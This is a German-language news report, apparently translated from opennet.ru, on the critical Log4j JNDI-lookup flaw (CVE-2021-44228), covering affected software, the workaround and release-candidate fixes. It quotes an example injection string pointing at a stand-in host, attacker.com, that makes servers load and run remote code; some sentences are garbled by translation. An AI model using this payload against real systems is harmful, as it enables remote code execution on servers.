Katastrophale Sicherheitslücke in Apache Log4j, die viele Java-Projekte betrifft

In Apache Log4j, einem beliebten Framework zur Organisation der Protokollierung in Java-Anwendungen, wurde eine kritische Schwachstelle identifiziert, die die Ausführung beliebigen Codes ermöglicht, wenn ein speziell formatierter Wert im Format „{jndi:URL}“ in das Protokoll geschrieben wird. Der Angriff kann auf Java-Anwendungen erfolgen, die von externen Quellen empfangene Werte protokollieren, beispielsweise bei der Anzeige problematischer Werte in Fehlermeldungen.

Es wird darauf hingewiesen, dass fast alle Projekte, die Frameworks wie Apache Struts, Apache Solr, Apache Druid oder Apache Flink verwenden, von dem Problem betroffen sind, darunter Steam, Apple iCloud, Minecraft-Clients und -Server. Es wird erwartet, dass die Schwachstelle zu einer Welle massiver Angriffe auf Unternehmensanwendungen führen könnte und damit die Geschichte kritischer Schwachstellen im Apache Struts-Framework wiederholen könnte, das einer groben Schätzung zufolge von 65 % der Fortune in Webanwendungen verwendet wird 100 Unternehmen. Einschließlich der Versuche, das Netzwerk nach anfälligen Systemen zu durchsuchen.

Das Problem wird dadurch verschärft, dass bereits ein funktionierender Exploit veröffentlicht wurde, Fixes für die stabilen Zweige jedoch noch nicht kompiliert wurden. Die CVE-Kennung wurde noch nicht zugewiesen. Der Fix ist nur im Testzweig log4j-2.15.0-rc1 enthalten. Als Workaround zum Blockieren der Schwachstelle wird empfohlen, den Parameter log4j2.formatMsgNoLookups auf true zu setzen.

Das Problem wurde dadurch verursacht, dass log4j die Verarbeitung spezieller Masken „{}“ in den an das Protokoll ausgegebenen Zeilen unterstützt, in denen JNDI-Abfragen (Java Naming and Directory Interface) ausgeführt werden konnten. Der Angriff läuft darauf hinaus, eine Zeichenfolge mit der Ersetzung „${jndi:ldap://attacker.com/a}“ zu übergeben, bei deren Verarbeitung log4j eine LDAP-Anfrage für den Pfad zur Java-Klasse an den Server attacker.com sendet . Der vom Server des Angreifers zurückgegebene Pfad (z. B. http://second-stage.attacker.com/Exploit.class) wird geladen und im Kontext des aktuellen Prozesses ausgeführt, wodurch der Angreifer beliebigen Code auf dem Server ausführen kann System mit den Rechten der aktuellen Anwendung.

Nachtrag 1: Der Schwachstelle wurde die Kennung CVE-2021-44228 zugewiesen.

Nachtrag 2: Es wurde eine Möglichkeit gefunden, den durch die Version log4j-2.15.0-rc1 hinzugefügten Schutz zu umgehen. Es wurde ein neues Update, log4j-2.15.0-rc2, mit umfassenderem Schutz vor der Sicherheitslücke vorgeschlagen. Der Code hebt die Änderung hervor, die mit dem Fehlen einer abnormalen Beendigung bei Verwendung einer falsch formatierten JNDI-URL verbunden ist.

Source: opennet.ru

Kommentar hinzufügen